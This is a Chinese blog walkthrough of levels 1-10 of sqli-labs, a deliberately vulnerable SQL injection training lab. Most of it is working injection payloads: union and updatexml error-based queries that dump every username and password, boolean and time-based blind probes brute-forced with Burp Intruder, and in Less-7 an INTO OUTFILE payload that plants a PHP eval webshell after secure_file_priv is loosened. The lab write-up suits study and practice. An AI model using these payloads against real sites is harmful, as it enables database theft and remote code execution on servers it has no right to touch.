sqli-labs闯关1-10

sqli-labs 1-10

Less-1

1、根据题目构造?id=1,页面回显出当前登录名和密码,再根据题目名就知道这是一个单引号字符型注入,加个单引号试试,发现页面回显不正常,并报错这是MySql数据库,再将单引号闭合发现页面回显又正常了,基本可以证明。

2、知道是什么类型的注入之后,接着使用联合查询注入判断该表中有几列字段,当输入查询1或2个字段时出现错误信息。

3、查询3个字段时恢复正常,查询4个时又报错,说明此表有3个字段。

4、将id值改成一个数据库可能不存在的值,得到2、3两个显示位。

5、在一系列查询之后,得到了用户名字段为username,密码字段为password,查询到所有的用户名和密码:
'union select 1,2,(select group_concat('--',username,'~',password) from security.users)+--+

Less-2

1、在输入两个单引号之后发现页面依然报错,考虑一下可能是数字型注入。

2、输入1 and 1=1之后发现页面回显正常,输入1 and 1=2之后发现未有错误显示,于是判断是数字型注入。

3、同样使用联合查询获取用户名和密码:
0 union select 1,2,(select group_concat(username,"$",password) from security.users)+--+

Less-3

1、同Less-1的方法判断是字符型注入,不同的是闭合字符是单引号加括号。

2、同样使用联合查询获取用户名和密码:
') union select 1,2,(select group_concat('--',username,'~',password) from security.users)+--+

Less-4

1、同Less-1的方法判断是字符型注入,不同的是闭合字符是双引号加括号。

2、同样使用联合查询获取用户名和密码:
") union select 1,2,(select group_concat('--',username,'~',password) from security.users)+--+

Less-5

1、同Less-1的方法判断是字符型注入,只不过页面的显示好像有哪里不对?当输入1时显示如下。

2、输入0时啥也没显示,说明页面没有显示位,无法使用联合查询方法注入。

3、那么使用报错注入获取用户名和密码:
'and (updatexml(1,concat(0x7e,(select concat(username,'/',password) from security.users limit 0,1),0x7e),1))='1
因为报错函数updatexml限制了输出字符最长为32位,所以只能使用concat函数配合limit一个一个地输出。

Less-6

1、同Less-5是字符型注入且没有显示位,与之不同的是闭合字符是双引号。

2、同样使用报错注入获取用户名和密码:
"and (updatexml(1,concat(0x7e,(select concat(username,'/',password) from security.users limit 0,1),0x7e),1))="1

Less-7

1、反复试验之后发现闭合字符是一个单括号加两个小括号,然后可以看到页面上提示说Use outfile,就是使用outfile将一句话木马写入文件。

2、首先尝试写入文件:
-1')) union select 1,2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php"+--+
但是发现并没有写入成功,说明还未获得文件写入权限。
3、于是打开mysql命令行,输入:
show variables like '%secure%';
查看secure-file-priv 当前的值,可以看到当前值为NULL,接着打开\phpstudy_pro\Extensions\MySQL5.7.26目录下的my.ini文件,插入一句话:
secure_file_priv="/"

4、保存之后重启phpstudy,再次在mysql命令行查看secure-file-priv 的值,此时Value里有内容了,说明修改成功,可以进行读写了。

5、再次执行第2步,可以看到文件写入成功。

6、试验成功之后就可以写入webshell了,已经知道编程语言是php,则可以使用一句话木马:
<?php @eval($_POST['sql']);?>
构造poc:
-1')) union select 1,2,"<?php @eval($_POST['sql']);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\poc.php"--+

7、可以看到写入成功了,此时打开Cknife连接成功。

Less-8

1、单引号尝试之后发现页面正确时显示You are in,非正常时啥也不显示,因此判断为布尔盲注,可以通过字符长度来判断真假,于是打开bp抓包,构造poc:
1'+and+if(substr("nice",1,1)="e",1,0)--+
此时页面啥也没显示

但当输入正确时:
1'+and+if(substr("nice",1,1)="n",1,0)--+
页面回显正常,则可以使用if函数注入

2、接下来构造获取数据库信息的poc:
1'+and+if(substr(database(),1,1)="a",1,0)--+
发送到Intruder,进行交叉爆破

设置好payload之后开始爆破,排序一下可以看到得到的数据库名称

Less-9

1、已知该题是个时间盲注问题,那么尝试构造poc:
1'+and+if(substr(database(),1,1)="a",sleep(5),sleep(1))--+
2、像Less-8一样进行爆破,不过可以看到长度无任何变化,这时我们需要查看响应时间,点击最上面一栏的列字段,将接受响应计数勾上

3、这时我们就能得到数据库名称了

Less-10

1、该题同Less-9一样是个时间盲注,不同的是闭合字符为双引号,构造poc:
1"+and+if(substr(database(),1,1)="s",sleep(5),sleep(1))--+
posted @ 2020-05-28 17:52  yoyodan  阅读(206)  评论(0编辑  收藏  举报